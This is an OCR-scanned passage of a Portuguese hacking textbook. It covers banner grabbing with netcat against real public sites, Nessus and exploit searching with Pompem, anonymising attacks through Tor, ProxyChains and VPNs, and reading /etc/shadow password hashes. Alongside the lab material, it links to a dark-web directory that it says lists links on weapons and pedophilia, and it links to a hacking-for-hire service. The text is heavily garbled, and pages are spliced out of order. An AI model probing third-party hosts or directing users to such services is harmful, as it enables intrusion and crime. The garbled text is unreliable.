Técnicas de Invasão Aprenda As Técnicas Usadas Por Hackers em Invasões

4 TECNICAS DE INVASAO APRENDA AS TECNICAS USADAS POR HACKERS EM INVASOES REAIS_O que ha neste livro? Este livro cobre as metodologias e técnicas cléssicas empregadas por hackers, utilizando ferramentas do Kali Linux e outras ferramentas disponiveis na web, como 0 Shodan, Censys, Google Hacking etc. Quem deve ler este livro? Este livro é destinado a profissionais de seguranca da informacao, administradores de sistemas, engenheiros de software, profissionais de TI que buscam o conhecimento em técnicas de invasio, curiosos e pessoas que desejam iniciar uma carreira em. O que é necessario para realizar os testes? Para aprender de maneira eficiente todo o conhecimento que o livro presenta e realizar os testes, é necessario ter: + uma maquina virtual/fisica com o sistema operacional Kali Linux; + uma méquina virtual/fisica com o sistema operacional Windows; + uma maquina virtual/fisica com o sistema operacional Metasploitable; + acesso a internet. Recomenda-se, também, que o leitor tenha conhecimento basico de comandos Linux. Observacao Cuidado com as aplicacdes dos conhecimentos ensinados neste livro, pois 0 uso de muitas ferramentas, técnicas e metodologias ensinadas aqui pode levar & prisao do individuo que as executou. Realize os testes em um ambiente em que voce seja o responsavel e tenha controle, por exemplo, utilizando maquinas virtuais, rede LAN, seu IP piblico e dominio. Na criagdo deste livro, o uso dessas ferramentas nao infringiu nenhuma lei. ices | Teeonnate a 10 esracoe ves_guardweb.com_br [104.31.87.52] 80 (http) open READ / HTTP/1.0 HTTP/1.1 403 Forbidden Date: Mon, 15 May 2017 19:33:55 GMT Content-Type: text/html; charset=UTE-8 Connection: close Set-Cookie: __cfduid=d0f76f88349cf5594ae9ch1 ac36b4cSef1494876835; expires=Tue, 15- May-18 19:33:55 GMT; path=/; domain=.21(62; HttpOnly Cache-Control: max-age=15 Expires: Mon, 15 May 2017 19:34:10 GMT X-Frame-Options: SAMEORIGIN Server: cloudflare-nginx CF-RAY: 358881c77861395-LHR <{DOCTYPE html> «fen js ie8 oldie” lang=“en-US"> «title> Direct IP access not allowed | Cloudflare READ / HTTP/1.0: este comando realiza a leitura do cabecalho HTTP do servico no servidor. Este servidor tem algumas configuracées de seguranga aplicadas; o banner que ele disponibiliza nao contém versio do servico (HTTP/I.1 403 Forbidden), utilizando de poucos detalhes sobre a maquina-alvo. Observagao Para que 0 comando tenha efeito € necessario pressionar a tecla “Enter” duas vezes. ‘Vamos agora estabelecer a conexio com um servidor vulneravel, o Metasploi- table2, para entender melhor alguns comandos que podemos utilizar: rootekali:-# nc-v 192.168.0.24 80 192.168.0.24: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.0.24] 80 (http) open READ/HTTP/1.0 ‘host:192.168.0.24 HTTP/1.1 200 OK Date: Mon, 15 May 2017 22:06:55 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 X-Powered-By: PHP/5.2.4-2ubuntu5.10 Content-Length: 891 Connection: close Content-Type: text/html snaseoevaneasuoaes ‘TeenicasDelnvasao 3nd 101 osa2019 sas | Metasploitable2 - Linux
host:guardweb.com.br: especifica um determinado host e é utilizado para nao ter informacoes sobre outros servidores na rede. Veja que neste servidor vulneravel obtivemos dados precisos da versio do servico do Apache, linguagem em que o site est escrito, bem como todo o cédigo-fonte do contetido desse servidor. Podemos utilizar esses comandos para realizar leitura de banner HTTP em outros servigos. Vamos realizar a captura de banner do servico SSH do Metasploitable2. rootekali:-# nc-v 192.168.0.24 80 192.168.0.24: inverse host lookup failed: Unknown host (UNKNOWN) (192.168.0.24] 22 (ssh) open ‘SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 B apresentado um erro, porém ele nos traz o banner do servico utilizado na porta 22 Observacao Raramente vamos encontrar servidores que apresentam vers6es do servico no banner. Em alguns casos 0 servidor-alvo pode fechar a conexao rapidamente e, em outros, pode nao exibir nenhuma informacao no cabecalho, pois ha diversos tipos de configuragées de seguranca que séo comumente aplicados; com esses testes, porém, podemos observar como essas ferramentas operam. HTTPS Banner Grabbing Para realizar a captura de banner HTTPS (porta 443) de servicos que utilizam cone- x6es seguras com protocolo SSL, vamos utilizar o openssl, ferramenta que faz parte da suite de programas do Kali Linux. Vamos realizar a captura de banner HTTPS na porta 443, em um servidor puiblico que tenha essa vulnerabilidade. Abra o terminal e digite: rootekali:~# openssl s_client -quiet -connect www.checkmarx.com:443 depth=2 C= US, O = GeoTrust Inc,, CN = GeoTrust Global CA verify return:1 depth=1 C = US, O = GeoTrust Inc,, CN = RapidSSL SHA256 CA verify return:1 depth=0 CN = *.checkmars.com verify return:1 READ / HTTP/1.0 HTTP/1.1 405 Not Allowed ‘Server: nginx/1.10.0 (Ubuntu) Bhennomnen | Tennant 12 esracoe vesA seguir ha alguns livros para saber mais sobre engenharia social: HADNAGY, Christopher. Social Engineering: The Art of Human Hacking. New Jersey: Wiley Publishing, 2010. MANN, Ian. Engenharia Social. Sio Paulo: Blucher, 2011. Banner Grabbing” O Banner Grabbing, ou, em portugués, captura de banners, é uma técnica usada para recolher informacées sobre um sistema de computador em uma rede e os servicos em execucao em suas portas abertas. Os administradores podem usar isso para fazer um inventério dos sistemas e servicos em sua rede. No entan- to, um intruso pode usar o Banner Grabbing’ a fim de encontrar hosts de rede que est&o executando versées de aplicativos e sistemas operacionais com ex- ploragdes conhecidas. Alguns exemplos de portas de servico usadas para captura de banner do aquelas usadas pelo HTTP (Protocolo de Transferéncia de Texto), o FTP (Protocolo de Transferéncia de Arquivos) e o SMTP (Protocolo de Transferéncia de Correio Sim- ples) - portas 80, 21 e 25, respectivamente. Ferramentas comumente usadas para realizar a captura de banners sao telnet, que esta incluida na maioria dos sistemas operacionais, e o netcat. HTTP Banner Grabbing* Para realizar a captura de banner HTTP vamos utilizar o netcat, uma ferramenta que faz parte da suite de programas do Kali Linux. Vamos realizar a captura de banner HTTP na porta 80. Abra o terminal e digite: rootekali:-# ne-v guardweb.com.br 80 ‘Warning: inverse host lookup failed for 104.31.87.52: Unknown host ‘Warning: inverse host lookup failed for 104.31.86.52: Unknown host guardweb.com.br [104.31.87.52] 80 (http) open rnc: executa a aplicagao netcat. -v: op¢io para apresentar na tela de modo verbose guardweb.com.br 80: IP/ NOME e porta-alvo. Veja que a conexio foi estabelecida e o servidor est aguardando comandos nesse momento. Vamos passar alguns comandos HTTP durante a conexao com o servidor através do nc. 2. Videoaula TDI — Andlise de Vulnerabilidades ~ Identificando sistemas e vulnerabilidades. 3. BANNER GRABBING. In: WIKIPEDIA: a enciclopédia live. [Sao Francisco, CA: Wikimedia Foundation, 2019]. Disponivel em: https://en.wikipedia.org/wiki/Banner_grabbing. Acesso em: 23 ago. 2019. 4, Videoaula TDI — Anilise de Vulnerabilidades - Captura de banners HTTP, Bruno race | Tenant ron 10 esracoe vesDate: Mon, 15 May 2017 22:31:11 GMT Content-Type: text/html Content-Length: 182 Connection: close heady 405 Not Allowed«/title> </head> <body bgcolor="white”> <center> <h1>405 Not Allowed</hi> </center> chro <centeronginx/1.10,0 (Ubuntu)</center> </body> <fatml> Com esse comando obtivemos o banner do servico da porta 443; neste caso, 0 servico web nginx com a versdo 1.10.0 (Ubuntu). Observacées 1) Alguns servidores podem fechar sua conexao em segundos, pois foi aplicado algum método de seguranga no servidor, 2) Alguns cabecalhos podem ser criados pelo administrador apenas para con- fundir uma possivel intrusio. Scanners de vulnerabilidades® O interessante até este ponto é que aprendemos como a etapa de scanners funciona de uma forma crua. E muito importante o seu entendimento a respeito de scanners para vocé saber tudo que se passa por trés de alguns softwares que realizam esses scanners de forma automatica, como o que veremos a seguir, o Nessus. Nessus® O Nessus® é o scanner de vulnerabilidades mais abrangente do mercado na atuali- dade. O Nessus Professional ajudara a automatizar o processo de verificacao de vulnerabilidades, economizando tempo em seus ciclos de conformidade e permitindo que vocé envolva sua equipe de TI. ilizando o Nessu: O Nessus nao faz parte da suite do Kali Linux. Para realizar o download e registro, acesse www.tenable.com O Nessus disponibiliza um pacote .dpkg. Para instalar o pacote faca o download do aplicativo, abra o terminal e digite: rootakali:-# dpkg -i Nessus-6.10.5-debian6_amd64.dpkg Selecting previously unselected package nessus. 5, Videoaula TDI ~ Andlise de Vulnerabilidades ~ Scanners de vulnerabilidades. 6. Videoaula TDI - Andlise de Vulnerabilidades ~ Nessus. avhuse De vuenerastuonoes "weenie, a 108 osnaca v4 |(Reading database... 347859 files and directories currently installed) Preparing to unpack Nessus-6.10.5-debian6_amd64.deb Inicie o servico do Nessus (nessusd) para que possamos utilizé-lo: rootekali:~# /etc/init.d/nessusd start Starting Nessus : Para utilizar o Nessus, acesse o seu navegador e digite: https://localhost:8834 Crie um usuario e senha para acesso, entre com sua chave de ativacao e ele estard pronto para o uso. a SACLE Su 1) Para criar um scan, clique no botio do lado superior esquerdo “New Scan”. = — = €) © @ hitps://ocathost: 8834/4 MaMost Visited y fllOftensive Security “\ Kal Linux “Kali Docs "Kal Tools EExplot-DB WAbrcrack Nessus Scans ns / My Scans My Scans New Foie TeenicasDelnvasao_P3.nds 104 osnarore 14152) Selecione 0 tipo de scan que voce deseja fazer; clique em Basic Network Scan. & Bash Shellshock Detection ZN oN ¢ MOM Config Aut Mobile Device Scan 3) Insira os dados — como nome do scan, descri¢ao, a pasta em que vocé deseja salvar o novo scan -, entre com os dados do IP/RANGE IP alvo no campo Targets e clique em Save. oo = nent a ‘TeenicasDelnvasao P3indd 105 osa2019 sas |Para iniciar o scan basta clicar no botao play Import New Folder Last Modified * Today at 7:08 PM | Today at 6:50 PM [-] x ° Para verificar o scan clique em cima do nome do scan, My Scans Name Schedule (On Demand My Host Discovery Scan (On Demand TeenicasDelnvasao_P3.ndd 106, osnarore 1415Ele vai apresentar um grafico de porcentagem detalhado com todas as maquinas escaneadas e as vulnerabilidades encontradas, separadas por grau de risco, My Basic Network Scan ua Sane owe i | Wai = |e x eves ET ca heme O «memo See sw 4 verman Sm = = mene — = = remou — = Rie i + resans a = i Para verificar os detalhes das vulnerabilidades, clique na aba Vulnerabilities. My Baci Network Scan /192.168.0.1 — © EE Simian | — a ——— © ME Tse eto = a eae +S ett! = erm — > SE) Sener ME ee ep ete : a cow ; | — Min °° Ele vai apresentar uma lista detalhada com o nome dos servigos/plugins/aplicativos e todas as vulnerabilidades encontradas, separadas por grau de risco. fuse o¢ vinerasiuonoes ‘TeenicasDelnvasao_P3indd 107 osnonore 14:15 |‘Também é possivel verificar algumas solucées para essas vulnerabilidades. Cli- que na vulnerabilidade desejada e veja o t6pico “Solutions”. Vunerabinies “22 GEE SSL Certificate Chain Contains RSA Keys Less Than 2048 bits Description Atleast one of he X'509certlicates sent by the remote host has a key thats shorter than 2048 bts. According to industry ‘Standards set by the Cerfcaton Authoriy/Browser (CA/B) Forum, certiicales issued ate January 1, 2014 must be at ast 2048 bits, ‘Some browser SSL implementations may reject keys les than 2048 bis ater January 1, 2014. Adctonaly, some SSL Certicate vendors may revoke coriicates les than 2048 bis bofore January 1, 2014. "Note that Nessus wil not lag root certiicales with RSA keys less than 2048 bits if they were issued prior to December 31, 2010, asthe standard considers thom exempt. Solution Fopiace the certicato in the chain with the RSA koy less than 2048 bitin length witha longer key, and reissue any orticaes signed by he old eoriicate, See Also ‘ntps sv cablorum org wp-contentuploads/Baseline_Requirements_V1 pa Caso vocé queira fazer o download do relatorio, basta clicar no boto superior direito “Export” e selecionar o tipo de arquivo que voce deseja: PDE, Nessus, CSV, HTML, Nessus DB. Este é apenas um overview dessa ferramenta incrivel, mas, com isso, j4 é pos sivel realizar todo o trabalho de coleta e andlise de vulnerabilidades automaticamente e economizar bastante tempo. Pompem - Exploit and Vulnerability Finder © Pompem’ é uma ferramenta de cédigo aberto, projetada para automatizar a busca de exploits e vulnerabilidade nas bases de dados mais importantes. Desenvolvido em Python, possui um sistema de busca avangada, que auxilia 0 trabalho de pentesters e hackers éticos. Na versio atual, ele executa pesquisas no banco de dados em PacketStorm, CXSecurity, ZeroDay, Vulners, National Vulnerability Database, WPScan Vulnera- bility Database 7. RFUNIK, Pompem: Find exploit tool. Disponivel em: https://github.com/rfunix/Pompem. Acesso em: 14 ago. 2019. Banome | Tenover 18 esracoe vesInstalando o Pompem © Pompem ndo faz parte da suite de ferramentas do Kali Linux. Para realizar 0 download, acesse: https://github.com/rfunix/Pompem. ‘Também ¢ possivel realizar o download direto do repositério Git Repository: root@kali:~# git clone https://github.com/rfunix/Pompem.git Utilizando o Pompem Para utilizé-lo, acesse a pasta Pompem que foi baixada. rootekali:~# cd Pompem/ rootekali:~/Pompem# Is common core pompem.1 pompem.py README.markdown requirements.txt A aplicagao foi desenvolvida em Python, entao é necessério utilizar 0 comando python3.5 para usar o Pompem. Veja as op¢des que podemos utilizar com o Pompem como comando: root@kali:-# python3.5 pompem.py-h Options: help show this help message and exit -s,~search <keyword keyword, keyword> text for search txt Write txt File ~heml Write html File ‘Vamos realizar uma busca de exploits e vulnerabilidades para os servicos SSH, fep e mysql: rootakali:~# python3.5 pompem.py-s ssh,ftp,mysql +Results ssh *Date Description Ul +2017-04-26 | Mercurial Custom hg-ssh Wrapper Remote Code Execut | https:// packetstormsecurity.com/iles/142331/Mercurial-Customhg-ssh-Wrapper Remote-Code- Execution html +Date Description Ud +2017-05-04 | Hydra Network Logon Cracker 8.5 | https://packetstormsecurity.com/ files/142388/Hydra-Network-Logon-Cracker-8.5.html +Results mysql ANALISE DE VULNERABILID. a) ‘TeenicasDelnvasao P3indd 108 osnonore 14:15 |SUMARIO CAPITULO 1. | SEGURANCA DA INFORMACAO 13 CAPITULO 2. CONCEITOS BASICOS DE RED! 25 CAPITULO 3. © CONHECER.... 49 CAPITULO 4. COLETANDO INFORMACOES. 67 CAPITULO 5. © ANALISAR 87 CAPITULO 6. © ANALISE DE VULNERABILIDADES. 99 CAPITULO 7. | PRIVACIDADE..... CAPITULO 8. © SENHAS. CAPITULO 9. © CANIVETE SUIGO (NETCAT) CAPITULO 10. METASPLOIT CAPITULO 11. ATAQUES NA REDE.... CAPITULO 12. EXPLORANDO APLICACOES WEB . 15 APENDICES APENDICE A. RUBBER DUCKY - HAKS........ APENDICE B. COMMANDS LIST-NMAP-NETWORK MAPPER.... 281 APENDICEC. © CODIGOS DE STATUS HTTP... APENDICED. © CODIGOS DE STATUS ICMP... TeencasDelvasse Pings 11 snare 1415+ 2017-05-04 | Hydra Network Logon Cracker 8.5 | https://packetstormsecurity.com/ files/142388/Hydra- Network Logon-Cracker-8.5.html “+ = O Pompem vai apresentar todos os exploits encontrados sobre os servicos solicitados. Para verificar, clique no link que é apresentado logo apés o nome da vulnerabilidade/exploit. ‘A pagina com a vulnerabilidade respectiva sera aberta no navegador e vocé pode ler sobre ela e, caso necessario, realizar o download. Esta é uma ferramenta perfeita para pesquisar sobre vulnerabilidades de servicos em varios sites de seguranga por meio do terminal. a BRUNO FRAGA | remosinn pet 10 cxsocne ssCAPITULO PRIVACIDADE (G_ Nesta sesdo vamos aprender sobre anonimato e privacidade, como ocultar = um endereco IP na web, rede TOR, VEN, proxy chains, enfim, vamos ocul- tara nossa origem online. Vamos entender como um atacante hoje consegue ocultar a origem, nao apenas estando em uma WeFi aberta, mas realmente ocul- tando o IP, DNS e tudo que envolva o acesso a rede. TOR - The Onion Router" TOR € um software livre e uma rede aberta que o ajuda a se defender contra a andlise de tréfego ~ uma forma de vigilancia de rede que ameaca a liberdade pes- soal e privacidade, atividades comerciais confidenciais, relacionamentos e segu ranca do Estado. Funcionamento da rede TOR Criar recursos anénimos é possivel devido a rede de servicos distribuidos, os cha- mados “nés”, ou roteadores que operam sob o principio dos anéis de cebola (dai 0 nome, “O Roteador de Cebola’). Todo o trafego da rede (ou seja, qualquer informagio) é criptografado repetidamente; no entanto, ele passa através de varios nés. 1, Videoaula 1D! Privacidade ~ Instalando, configurando e utlizando 0 TOR TecnicasDelnvasao Paindd 111 osvorao19 14:15Além disso, nenhum né de rede sabe a fonte do trafego, o destino ou 0 contetido. Isso garante um alto nivel de anonimato. Tor eter @ vote © wi node Curiosidades 1) TORebitcoin — 0 desenvolvimento de TOR coincidiu com o surgimento das bitcoins (ctiptomoedas). Uma combinagao de dinheiro anénimo em um ambiente anénimo significa que os cibercriminosos podem permanecer praticamente indetectaveis. 2) Malware ~ os cibercriminosos comegaram a usar a TOR para hospedar malware. Os especialistas da Kaspersky descobriram uma variante do Trojan Zeus que usa recursos da TOR, depois outro chamado Chewbacca e o primeiro Trojan TOR para Android. A rede TOR tem muitos recursos dedicados a malwares ~ servidores C&C (comando & controle), painéis de administracao etc. Instalando e configurando o TOR O TOR nao faz parte da suite de ferramentas do Kali Linux. Primeiramente, entao, vamos realizar a instalagio do servico TOR. Para isso abra o terminal e digite: rootekali:~# apt-get install tor Observacao O software TOR nao pode ser aberto como usuario root; se necessario, crie um usuario sem permissao de usuario. Apés instalar 0 servico do TOR vamos realizar 0 download do navegador. Acesse 0 site: Disponivel em: wwwtorproject.org/download, Acesso em: 14 ago. 2019, O pacote disponibilizado est em formato .tar.xz. Para descompactar o pacote, execute os seguintes comandos: userakal:/opt# tar -Jxf tor-browser-linux64-6.5.2_en-US.tarxz | Teenonnatero 2 esracoe vesDica Um local para instalacao de programas é /opt; nao é uma regra, mas uma maneira de organizar os programas instalados. Utilizando o navegador TOR Navegue na pasta descompactada até o executdvel start-tor-browser e inicie a aplicagao. user@kali:/opt/tor/tor-browser_en-US/Browser$ ./start-tor-browser ‘Apés este comando o TOR vai realizar uma conexao e iniciar o navegador. O TOR permite encapsulamento do DNS no tunelamento, e utiliza a consulta de DNS leak para realizar as consultas DNS, pois de nada adianta ter um acesso anénimo e realizar as consultas DNS no seu provedor ISP. Para verificar se realmente vocé est com sua rede privada, acesse algum site de servico de IP, como o www.dnsleaktest.com (acesso em: 14 ago. 2019). Ele deve mostrar um IP diferente do seu IP real, provavelmente um IP externo de outro pais. Verificando o caminho da conexéo Clique no logo do TOR (cebola) para verificar o circuito que vocé est utilizando. eer Gas on (5868 150108) Ton ewer Ses ‘and ste t3 6) Frvce 78205510) Cheek tor Tor Browser Update. fe, Renovar o circuito Para renovar 0 circuito que vocé esta utilizando, clique no logo do TOR e clique em “New TOR circuite for this site”. Sec Seg. i Ua go 18 68150366) To New Seg veces anasto) Fare 376208536), Check or Tr Bromer Und. Com isso o TOR vai modificar o circuito que esta sendo utilizado, atribuindo novos caminhos e IP. Dicas 1) A deep web (sites .onion) nao é uma web indexada; para navegar entre os sites 6 necessario conhecer os enderecos da pagina que vocé deseja acessar. ‘TeenicasDelnvasao P3indd 113 osnonore 14:15 |Os usuarios da rede TOR que navegam na deep web geralmente sao membros de féruns e chats que sio relacionados com o propésito do navegador. 2) Alguns sites titeis para navegar com privacidade e acessar paginas .onion: + DuckDuckGO - https://duckduckgo.com. £ um motor de busca baseado em Paoli, Pensilvania (Estados Unidos), que tem a particularidade de utilizar informagées de origem Crowdsourcing para melhorar a relevancia dos resultados. A filosofia desse motor de pesquisa enfatiza a privacidade e nao registra as informagées do usuario. + The Hidden Wiki - http://zqktlwidfecvo6ri.onion/wiki/ £ um site que usa servicos ocultos disponiveis através da rede TOR. O site tem uma colecao de links para outros sites .onion de muitas catego- rias (medicina, ciéncias ocultas, terrorismo, armas, drogas, documentos oficiais falsos, pedofilia, videos snuff, assassinatos) e artigos de enciclo- pédia em um formato wiki + PirateCrackers - https://piratecr44nh3nw4.onion.cab/ £ um grupo de hackers dedicados a fornecer os melhores servigos de hackers desde 2005. E possfvel comprar servicos para hacking de e-mails e redes sociais. Observacao Para ter uma navegacio realmente anénima, nao utilize o Google para realizar buscas, pois ele armazena logs de todos os acessos realizados e, de alguma forma, consegue rastrear a origem. ProxyChains Utilizando ProxyChains nosso anonimato nao fica apenas limitado ao navegador, e podemos utilizar todos os servicos, como scanners, servigos de comunicacao e servigos de acesso remoto. A teoria de como o ProxyChains funciona é extremamente simples: utilizando varios proxies, 0 seu pacote passa por um caminho predefinido por vocé na configuracao (como veremos mais adiante) antes de chegar ao destino. Quanto mais servidores proxy existirem entre vocé e o destino, mais dificil é rastrear o seu verdadeiro IP. Entendendo 0 arquivo de configuracao do ProxyChains O ProxyChains é uma ferramenta que faz parte da suite de programas do Kali Linux. O servico possui um arquivo de configuragao que esté localizado em /etc/ proxychains.conf. Vamos realizar algumas modificagées nesses arquivos, mas primeiramente vamos conhecer algumas opcdes de configuracao. BB sxuno race | Texneasouimasao.Painds 114 snare 1415dynamic_chain ~ esta op¢io faz com que o ProxyChains obedeca a ordem dos proxies na lista que vocé informou (veremos como fazer isso mais adiante) conectando-se a cada um deles e pulando os proxies que nao estiverem respondendo, strict_chain - faz com que o ProxyChains use todos os proxies na ordem que foram inseridos na lista. Se algum proxy nao estiver mais respondendo, o proceso vai finalizar e um erro seré retornado para a aplicacao usando 0 ProxyChains. random_chain - quando esta op¢ao esté ativa, alguns proxies da lista sio selecionados aleatoriamente e utilizados para a conexao. A quantidade de proxies selecionados é definida pela op¢io chain_len. chain_len - define a quantidade de proxies aleatérios a serem utilizados quando a op¢ao random_chain é selecionada. quiet_mode - nao mostra output da biblioteca. proxy_dns - envia as requisicdes DNS também através da cadeia de proxies. Observagio As opcdes dynamic_chain, strict_chain e random_chain nao podem ser utilizadas ao mesmo tempo, Portanto, quando uma delas estiver nao comentada, as outras duas devem ser comentadas. Além disso, a opco chain_len s6 pode ser nao comentada quando random_chain for utilizado. Configurando o ProxyChains Neste processo vamos utilizar a op¢ao dynamic_chain; para isso, realize altera¢ao no arquivo /etc/proxychains.conf, conforme os passos a seguir: 1) Comente a op¢ao strict_chain que ja vem configurada por padrao: #strict_chain 2) Retire o comentario da op¢ao dynamic_chain: #dynamic_chain 3) Para utilizar a opcao sem vazamento de dados DNS (no leak for DNS), des- comente a op¢ao proxy_dns: proxy_dns A cconfiguracao est pronta, agora podemos utilizar o servico do ProxyChains. Utilizando ProxyChains Para que a utilizacao do ProxyChains seja bem-sucedida € necessdrio que o servico TOR esteja iniciado: Tweeonnaie, a 15 osnaca v4 |root@kali:~# service tor start O uso desta aplicacao ¢ bem simples: abra o terminal e digite proxychains APLICACAO_A_SER_UTLIZADA, por exemplo: rootekali:-# proxychains nmap 104,31.87.52 ProxyChains-3.1 (http://proxychains.sf:net) Starting Nmap 7.40 ( https://nmap org ) at 2017-05-16 02:40 BST Nmap scan report for 104.31.87.52 Host is up (0.0395 latency). Not shown: 996 filtered ports PORT STATE SERVICE 80/tep open http 443/tcp open https 8080/tcp open http-proxy 8443/tcp open https-alt Nmap done: 1 IP address (1 host up) scanned in 21.32 seconds Dessa forma, o Nmap utilizard a rede de tunelamento do ProxyChains. Adicionando proxy no ProxyChains E possivel adicionar proxy no ProxyChains para que sua navega¢io utilize mais mas- caras de anonimato, a fim de dificultar mais ainda a localizagao da sua origem real. Hi servicos pagos de proxy com alto desempenho, como 0 www.proxyseo.es (acesso em: 14 ago. 2019), e servicos gratuitos como o www.hide-my-ip.com (acesso em: 14 ago. 2019). Além disso, é possivel criar o seu proprio proxy andnimo remoto, por exemplo, comprando uma maquina na www.digitalocean.com (acesso em: 14 ago. 2019) e realizando a configura¢io do proxy. Para implementar proxy no ProxyChains, vamos modificar 0 arquivo de configuracao /etc/proxychains.conf. Comente os proxies do TOR no campo [ProxyList]: [ProxyList] # add proxy here .. # meanwile # defaults set to “tor” #socks4 127.0.0.1 9050 Agora, no mesmo campo [ProxyList], adicione os enderecos dos servidores proxies que vocé possui. [ProxyList] IP_PROXY_A_SER UTLIZADO PORTA IP_PROXY_A_SER UTLIZADO2 PORTA # meanwile # defaults set to “tor” tsocks4 127.0.0.1 9050 | Teenonnate roa 16 esracoe vesSalve 0 arquivo ¢ 0 ProxyChains vai utilizar a nova configuracio. Observagao Cuidado ao adicionar proxies cuja origem vocé desconheca, pois pode ser que alguns deles sejam um honeypot ou contenham servicos que podem ser preju- diciais para sua conexdo. Utilizando VPNs? Podemos utilizar VPN para navegar com seguran¢a, o que é muito indicado para acessar a internet de locais puiblicos. O software que vamos utilizar é 0 openvpn, que faz parte da suite de ferramentas do Kali Linux. O uso de VPNs com o openvpn é simples: obtenha um arquivo .ovpn realizando o download de um arquivo de vpn gratuito no www.ypnbook. com (acesso em: 14 ago. 2019). Depois, extraia os arquivos, abra o terminal, navegue até 0 local do arquivo e digite: root@kali:~/VPNBook.com-OpenVPN-US1# openvpn vpnbook-us1-tcp80.ovpn ‘Tue May 16 03:09:35 2017 OpenVPN 2.4.0 [git:master/fSbf296bacce 7628+] x86_64-pclinux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Dec 29 2016 ‘Tue May 16 03:09:35 2017 library versions: OpenSSL. 1.0.2k 26 Jan 2017, LZO 2.08 Enter Auth Username: Digite as credenciais de acesso ao servico, espere o estabelecimento da conexio co servico para acesso TCP na porta 80 estarem prontos para o uso. Para testar, abra uma pagina de verificagao de IP, como o www.dnsleaktest.com (acesso em: 14 ago. 2019). ~#[Pensando_fora.da.caixa] Um criminoso pode utilizar redes de Wi-Fi piblicas e conectar em VPNs proxies para realizar delitos, pois a probabilidade de que ele seja rastreado é quase nula. Dicas 1) Servicos de VPN gratuitos: Dispontvel em: vpnbook.com/freevpn. Acesso em: 14 ago. 2019. Dispontvel em: freevpn.me/accounts. Acesso em: 14 ago. 2019. 2) Servicos pagos de VPN com alto desempenho: Disponivel em: purevpn.com. Acesso em: 14 ago. 2019. Dispontvel em: ipvanish.com, Acesso em: 14 ago. 2019, 2. Videoaula TDI Privacidade ~ Utilizando VPNs. paivacioaoe A ‘weenie, ah 17 osnaca v4 |“TeenicasDolnvasao Pind 118 osvorao19 14:15way CAPITULO SENHAS VM MMM Senhas e hash no Linux' =" No Linux, as senthas so armazenadas em dois arquivos diferentes. Veja a estrutura desses arquivos: rootekali:~# cat /etc/passwd root:x:0:0:r00t:/root:/bin/bash daemon:x:1:1:daemon:/ust/sbin:/ust/sbin/nologin binzx:2:2:bin:/bin:/usr/sbin/nologin sysx3:3:sys:/dev-/usr/sbin/nologin root: nome do usuirio, nio podendo haver outro com o mesmo nome. x: corresponde 2 senha do usuario; somente € possivel visualizé-la no arquivo /ete/shadow, porém fe forma cripto, 0: tifcacdo (ID); assim como o usuéri, 6 tinico para cada méquina Linux. O sistema utiliza este ID para manter o regi ‘que o usuario pode acessar. 0: esse é 0 ID do grupo ao qual o ususrio pe a arquivos de que o usuézio nao é propri nero de iden ero dos arquivos de que o usuario é proprietirio e os arquivos io do grupo é possivel da upo de usuarios, issbes 1. Videoaula TDI do com Se: ~ Senhas ¢ hash no Linux, TecnicasDelnvasac Paindd 119 osvorao19 14:15“TeenioasDelnvasso_PSindd 12 osvorao19 14:15root: é um registro de comentario, podendo ser colocado qualquer string, mas usualmente coloca- -se o nome do usuario. /root: diretério “home” do usuario. Este é 0 diret6rio-padrao do usuario. O sistema utiliza esse dietério para guardar os arquivos do usuario. Ao realizar o acesso no sistema, o usuario sera dire cionado a esse diretério. Mein /bash: o shel-padrio. Este o programa responsivel por executar os comandos executados pelo usuario no sistema. rootekali:~# cat /etc/shadow r00t:$6$Bse3rRY/$bJhAiZNoOJ 3xw1JB3qp24CSwySlxd4cCCRo1g7/0Dg0c6tWXTSANIE. LhYgfdJmp1nvYCNiUE4HT3pAlAUH.:17245:0:99999:' daemon:*:17043:0:99999:7:: bin:*:17043:0:99999:7::: sys:"17043:0:99999:7:; root: nome do ususrio, no podendo haver outro com o mesmo nome. $6$Bse3rRY/SbJhAiZNo0J.3xw1JB3qp24CSwy3lxd4cCCRolg7/0D g0c6tWXTSHNIE.LhY- ‘gfdJmp1nv¥CNiUE4HTSpAAUH.: armazenada de forma criptografada na verdade, trata-se de tum hash da senha; se houver um asterisco ou ponto de exclamacio significa que a conta no possui senha, ou seja, essa conta nao aceita login - esta travada; 6 comum em contas do sistema. 17245: data da tltima alteragao de senha, armazenada como o niimero de dias decorridos desde 01/01/1970. 0: 0 minimo de dias pelos quais vocé é obrigado a manter a sua senha apés ser trocada. 99999: 0 maximo de dias pelos quais vocé pode manter uma mesma senha (apés isso, o usuario é forcado a mudé-la). 7: niimero de dias apés a tltima alteracao de senha antes que outra alteragao seja requisitada. (vazio)? mimero de avisos antes da expiracio da senha. Se o sistema for configurado para expirar senhas, é possivel configuré-1o para avisar ao usuario que a data de expiragao esta se aproximando. (vazio): niimero de dias que decorrera entre a expiragao da senha e o travamento da conta do usudrio, Uma conta expirada nao pode ser sada, ou pode requerer que o usuatio altere sua senha no momento do login; jé uma conta desabilitada perde sua senha e s6 podera ser usada novamente quando o administrador a reativar. (vaaio): data na qual a conta sera desabilitada. A data é expressa como o miimero de dias decorridos a partir de 01/01/1970. £ um campo muito ttil para contas temporarias. Observacées 1) Os campos que esto vazios nao esto sendo utilizados; sio campos de configuragao para expiracao de senhas. 2) Os valores -1 e 99999 em alguns dos campos significam que o item em questao est desabilitado. 3) Asenha, que est no segundo campo, esta criptografada, Na verdade, o que est armazenado ali nao é a senha em si, mas um hash da senha, que é um valor gerado a partir de um algoritmo aplicado sobre a senha. 2. Se este campo estiver vazi BB swuno race nio haverd nada entre os dois-pontos ¢ o préximo. | Teeneasouimasao, Pains 120 snare 1415O trecho $6$ indica 0 algoritmo de hash utilizado. Neste caso, trata-se de um hash SHA-512. Outros tipos possiveis e seus cédigos sao os seguintes: + $1- algoritmo de hash MDS * $2 -algoritmo de hash Blowfish + $2a-algoritmo de hash eksblowfish + $5-algoritmo de hash SHA-256 + $6 - algoritmo de hash SHA-512 O hash 6 uma funcao matematica aplicada sobre um conjunto de dados que gera um cédigo, conhecido como hash. Ele converte um pedaco de dado, seja grande ou pequeno, em um cédigo de tamanho definido, como uma sequéncia de caracteres, denominada string. Dessa forma, é possivel garantir a integridade do texto ou dados que foram convertidos. Hé duas formas de gerar um hash: + o hash unidirecional, conhecido como “hash mao 